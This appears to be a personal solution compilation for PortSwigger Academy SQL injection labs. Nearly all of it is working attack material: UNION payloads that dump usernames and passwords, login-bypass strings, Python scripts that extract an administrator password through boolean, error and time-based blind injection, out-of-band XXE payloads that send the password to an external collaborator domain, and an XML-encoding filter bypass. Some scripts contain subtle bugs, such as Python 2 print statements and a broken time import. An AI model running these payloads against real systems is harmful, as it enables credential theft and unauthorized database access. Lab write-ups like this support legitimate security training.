SQLi - [PortSwigger]
Marmeus
Table of Contents
Introduction
Compillation of all apprentice and practitioner SQL injection labs from PortSwigger Academy.
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data [Apprentice]
https://<LAB_ID>.web-security-academy.net/filter?category=patata%27%20or%20%271%27=%271%27--%20-
SQL injection vulnerability allowing login bypass [Apprentice]
# Login
Username: <administrator'--> | <'or '1'='1'-- ->
Password: potato
SQL injection UNION attack, determining the number of columns returned by the query [Practitioner]
# USing order
/filter?category=Accessories' order by 3-- -
# Using union
filter?category=' UNION SELECT NULL, NULL, NULL -- -
SQL injection UNION attack, finding a column containing text [Practitioner]
/filter?category=' UNION SELECT NULL, '<RANDOM_VALUE>', NULL -- -
SQL injection UNION attack, retrieving data from other tables [Practitioner]
# Number of columns
/filter?category=Accessories' order by 2 -- -
# Retriving credentials
/filter?category=' UNION SELECT username, password from users -- -
SQL injection UNION attack, retrieving multiple values in a single column [Practitioner]
/filter?category=' UNION SELECT NULL, username || '~' || password FROM users--
SQL injection attack, querying the database type and version on Oracle [Practitioner]
filter?category=' UNION SELECT NULL, banner FROM v$version -- -
SQL injection attack, querying the database type and version on MySQL and Microsoft [Practitioner]
/filter?category=' UNION SELECT NULL, @@version -- --
SQL injection attack, listing the database contents on non-Oracle databases [Practitioner]
# Obtain tables
/filter?category=' UNION SELECT NULL,TABLE_NAME FROM information_schema.tables WHERE TABLE_NAME like '%user%' -- -
# Obtain columns
/filter?category=' UNION SELECT NULL, COLUMN_NAME FROM information_schema.columns WHERE table_name = 'users_bmfuyr' -- -
# Obtain users
/filter?category=' UNION SELECT username_cfwiqo, password_caxgks FROM users_bmfuyr -- -
SQL injection attack, listing the database contents on Oracle [Practitioner]
# Obtain tables
/filter?category=' UNION SELECT NULL, TABLE_NAME FROM all_tables -- -
# Obtain columns
/filter?category=' UNION SELECT NULL, COLUMN_NAME FROM all_tab_columns WHERE table_name = 'USERS_ZELKVW' -- -
# Obtain users
/filter?category=' UNION SELECT USERNAME_TVHFRK,PASSWORD_LIIMGB FROM USERS_ZELKVW -- -
Blind SQL injection with conditional responses [Practitioner]
import requests
import time
URL = "<URL>"
alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
Cookie_trackingId = requests.get(URL).cookies.get_dict()['TrackingId']
num_chars = 0
for n in range(1,9999):
cookie = {"TrackingId":"%s' AND (SELECT LENGTH(password) FROM users WHERE username = 'administrator') = '%d" % (Cookie_trackingId,n )}
response = requests.get(URL, cookies=cookie).text
if "Welcome back!" in response:
num_chars = n
break
time.sleep(0.01)
print "num_chars: " + str(num_chars)
counter = 1
res = ""
while counter <= num_chars:
for letter in alphanumeric:
cookie = {"TrackingId":"%s' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), %d, 1) = '%s" % (Cookie_trackingId, counter, letter)}
response = requests.get(URL, cookies=cookie).text
if "Welcome back!" in response:
res += letter
counter += 1
print "Res: "+res
time.sleep(0.01)
Blind SQL injection with conditional errors [Practitioner]
import requests
import time
URL = "<URL>"
alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
Cookie_trackingId = requests.get(URL).cookies.get_dict()['TrackingId']
num_chars = 0
for n in range(1,9999):
cookie = {"TrackingId":"%s'||(SELECT CASE WHEN LENGTH(password)=%d THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'" % (Cookie_trackingId, n)}
cookie = {"TrackingId":"potato' OR (SELECT CASE WHEN ((LENGTH((SELECT password FROM users WHERE username='administrator')))=%d) THEN to_char(1/0) ELSE '1' END FROM DUAL)='1'-- -" % (n)}
status = requests.get(URL, cookies=cookie).status_code
if status != 200:
num_chars = n
break
time.sleep(0.01)
print "num_chars: " + str(num_chars)
counter = 1
res = ""
while counter <= num_chars:
for letter in alphanumeric:
cookie = {"TrackingId":"%s'||(SELECT CASE WHEN SUBSTR(password,%d,1)='%s' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'" % (Cookie_trackingId, counter, letter)}
cookie = {"TrackingId":"potato' OR (SELECT CASE WHEN ((SUBSTR((SELECT password FROM users WHERE username='administrator'),%d,1))='%s') THEN to_char(1/0) ELSE '1' END FROM DUAL)='1'-- -" % ( counter, letter)}
status = requests.get(URL, cookies=cookie).status_code
if status != 200:
res += letter
counter += 1
print "Res: "+res
time.sleep(0.01)
Blind SQL injection with time delays [Practitioner]
'||pg_sleep(10)--
Blind SQL injection with time delays and information retrieval [Practitioner]
import requests
from time import time
# OFICIAL
# =======
# Obtain length
# -------------
# TrackingId=x'||(SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
# Obtain users
# ------------
# or'+AND+SUBSTRING(password,<CHARACTER_NUMBER>,1)='<LETTER>')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
URL = "<URL>"
alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
Cookie_trackingId = requests.get(URL).cookies.get_dict()['TrackingId']
num_chars = 0
for n in range(1,9999):
cookie = {"TrackingId":"%s'||(SELECT CASE WHEN LENGTH(password)=%d THEN pg_sleep(3) ELSE '' END FROM users WHERE username='administrator')--" % (Cookie_trackingId, n)}
start = time.time()
status = requests.get(URL, cookies=cookie).status_code
end = time.time()
if end-start > 3:
num_chars = n
break
time.sleep(0.01)
print "num_chars: " + str(num_chars)
counter = 1
res = ""
while counter <= num_chars:
for letter in alphanumeric:
cookie = {"TrackingId":"%s'||(SELECT CASE WHEN SUBSTR(password,%d,1)='%s' THEN pg_sleep(3) ELSE '' END FROM users WHERE username='administrator')||'" % (Cookie_trackingId, counter, letter)}
start = time.time()
status = requests.get(URL, cookies=cookie).status_code
end = time.time()
if end-start > 3:
res += letter
counter += 1
print "Res: "+res
time.sleep(0.01)
Blind SQL injection with out-of-band interaction [Practitioner]
TrackingId=NotExists'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"<ENCODED_COLLABORATOR_DOMAIN>">+%25remote%3b]>'),'/l')+FROM+dual-- -;
Blind SQL injection with out-of-band data exfiltration [Practitioner]
TrackingId=NotExists'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.<ENCODED_COLLABORATOR_DOMAIN>/">+%25remote%3b]>'),'/l')+FROM+dual--+-;
[SQL injection with filter bypass via XML encoding](SQL injection with filter bypass via XML encoding) [Practitioner]
Reading the statement, it is known that the option check stock is vulnerable to SQL. However, trying to perform a simple SQLi attack, it is obtained the following result.
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>'</productId>
<storeId>2</storeId>
</stockCheck>
Response:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 17
"Attack detected"
However, by encoding the character '
in XML format it is possible to obtain a result.
# PAYLOAD
<productId>'3' </productId>
# RESPONSE
158 units
Because it seems to be a UNION SQLi, let's try to obtain the database.
# QUERY
'-3'UNION SELECT VERSION() -- -
# ENCODED
'-3'UNION SELECT VERSION() -- -
# RESPONSE
PostgreSQL 12.12 (Ubuntu 12.12-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit
Because the structure of the database is known for previous exercises, it is possible to extract everything all at once.
# QUERY
'-3'UNION SELECT username || ':' || password AS result_string from users -- -
# ENCODED
'-3'UNION SELECT username || ':' || password AS result_string from users -- -
# RESPONSE
administrator:cwl7hhx4akfby6lo1gmy
wiener:7pfm0e2wtkbk38lobhke
carlos:oejflrru74oukoxwop6j